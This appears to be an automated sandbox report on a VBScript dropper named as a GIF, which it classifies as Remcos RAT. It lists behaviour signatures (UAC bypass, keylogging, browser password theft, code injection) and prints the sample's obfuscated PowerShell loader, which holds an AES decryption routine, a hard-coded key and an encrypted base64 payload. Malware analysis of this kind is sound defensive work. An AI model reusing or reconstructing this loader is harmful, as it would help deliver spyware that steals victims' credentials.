Windows
Analysis Report
ucancrosstheflowerbeautiytogetin.gIF.vbs
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Injects a PE file into a foreign processes
Installs a global keyboard hook
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Cscript/Wscript Uncommon Script Extension Execution
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Script Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 5492 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\ucanc rosstheflo werbeautiy togetin.gI F.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 3192 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command ( ('((e4jfun ction Decr ypt-AESEnc ryption {P aram([Stri ng]TMIBase 64Text,[St ringe4j+e4 j]TMIKey)T MIe4j+e4ja esManaged = New-Obje ct System. See4j+e4jc urity.Cryp tography.A esManaged; TMIa'+'esM anagee4j+e 4'+'jd.Mod ee4j+e4j = [Syse4j+' +'e4jtem.S ecurity.Cr yptoge4j+e 4jraphy.e4 j+e'+'4jCi e4'+'j+e4j pherMode]: :CBC;TMIae sManaged.' +'Pae4j+e4 jddin'+'g = [System. Security.C ryptograph y.PaddingM ode]::Zero s;TMIaesMa naged.Bloc kSiz'+'e = 128;TMIae sManaged.K eySize = 2 56;'+'TMIa esManagee4 j+'+'e4jd. Key = ('+' New-Object e4'+'j+e4j System.Se curity.Cry ptography. SHA256Mana ged).Compu teHash([Sy ste'+'m.Te xt.Encodin g]::UTF8.G ee4j+e4jtB ytes(TMIKe y));TMIcip herBytes = [Syst'+'e m.Convert] ::FromBase 64String(T MIBase64Te xt);TMIaes Managed.IV '+'= TMIc ipherBytes [0..15];TM Idecryptor = TMIaesM anaged.Cre ateDecrypt or();TMIde cryptedByt es = TMIde cryptor.Tr ansformFin '+'alBlock (TMIcipher Bytes, 16, TMIcipher Bytes.Leng th - 16);e 4j+e4jTMIa e'+'sManag ed.D'+'isp ose('+');r eturn [Sys tem.Text.E ncoding]:: UTF8.GetSt ring'+'(TM Idecry'+'p tedBytes). Tre4j+e4ji m([char]0) ;}TMIchave = CnI9964 5972962600 8238447632 80617644Cn Ie4j+e4j;T MItextoCri ptogr'+'af adoBase4j+ e4je64 = ' +'CnIzrLkM fCMq2rIsTP nsb8jY47nq z/Y3CrDhgW eqNwTLWPZq +63N4Yhb4E nQJlSBVsgu iI84l7zQtw XUQDNIqA92 qrVYISAWXh nAYlXALfgs sFnno/A2Ww lOAFMD/NaV HV+icZyMNg ugo/qb9zXa AO8+cQKC7P RaSfFqfVh6 ouLofUA5r9 MdLhJcneg+ mqvCsSeIs3 qhIp0vL4z2 IKMK2L+k3U qicZjYCi+p QuAnUnn6K9 CK71T+oydL iK4GCe2wGc bgIv2Dkqax SHySRydLdH WL0Gi3gEyB H38YBdVu9y Bq5glJrh9I 8g3FMB1F3M mIaOPg1KNo X9pH1Ub1ee /WxI3psHt9 6qJfCOVjRl 8WZBZ/25QP RntDiX3CNs ajiC9dyuVj 5z5gQi8aVH KqGC917SRe apeeZ0Cc8A hgWyke24u2 jHI0QVsseF LiJgwDrex0 2OunlMSaX3 2SzeO0kHYz d1RECVE6yk 6v7aAq9+Tv aqLALY88yl iJbfXlcRGe V7edBQLXzJ uY5KQ31nWG yUzNenSlvU EvmZXuZ8k9 A/a2Nc9Hr3 s8k5NMMd3H 479dy8/86C Jic0bNcnAp cxv7O8Un7J u+yY8SP4rt I3SMFC0vm2 vpLwjRjG/9 eze4vvZCB1 bC8f/j50YL UH9CUo4Hgk BoIZCb0IA3 oePudi8YFi 00YVldRxox ts1jNHBcXL NcewoBJlBH RwFDG6fjgH V3j6P9jnOq MagHomqR1a HltsLzaM+r rG8GFKA3J3 po82f2qKuX UKy7JE0+mD m0JnNX+TJz tMNCbMNgqB YdflFEp2ir 4NAUKLUU1Q I6UTgOqf4P lRc7UiCRv5 vPMF8ozNN2 xns8NMF/XF C9hNsKSURv 09S9rBXrn0 2FWnZJ4f2f r++C52b/4/ ckoDa4iu5B 2+phXA02ni HmmbYDev+D qz2ElbsoeY 3YzDdts+nr seEhOip+iF MPENsFezcv Bhpr0l0fsz FeuUa0Glax S1ew1Covjo IVwUs8S/jg CqxTKcIXXB xWnKWm3mR4 vwi0ajQV+t HJgy32K2Bm V5rF4YAQ1h 4Qibdg0vgE 7IwO6h3m8k GFkXeiYajf raMYftsvnz tTExQKxccg 0Bb9EbeVBW g2rml5Kl3Z IKpVWMnz5/ ObGF3ovPp2 erk/L7gmbF ngwPL//lX4 9kTOc2QoXA 7+oy0WQq+2 7kjIPsYZU4 QoG2ZwsKnn DBXN7JE9Sw TsEt0kog7f 1aKg45cO9g 7n/iZfPMfy fKmzE30L9H +oIIvD4jJJ kdyZ2H8X78 p0NIUYSQ+Q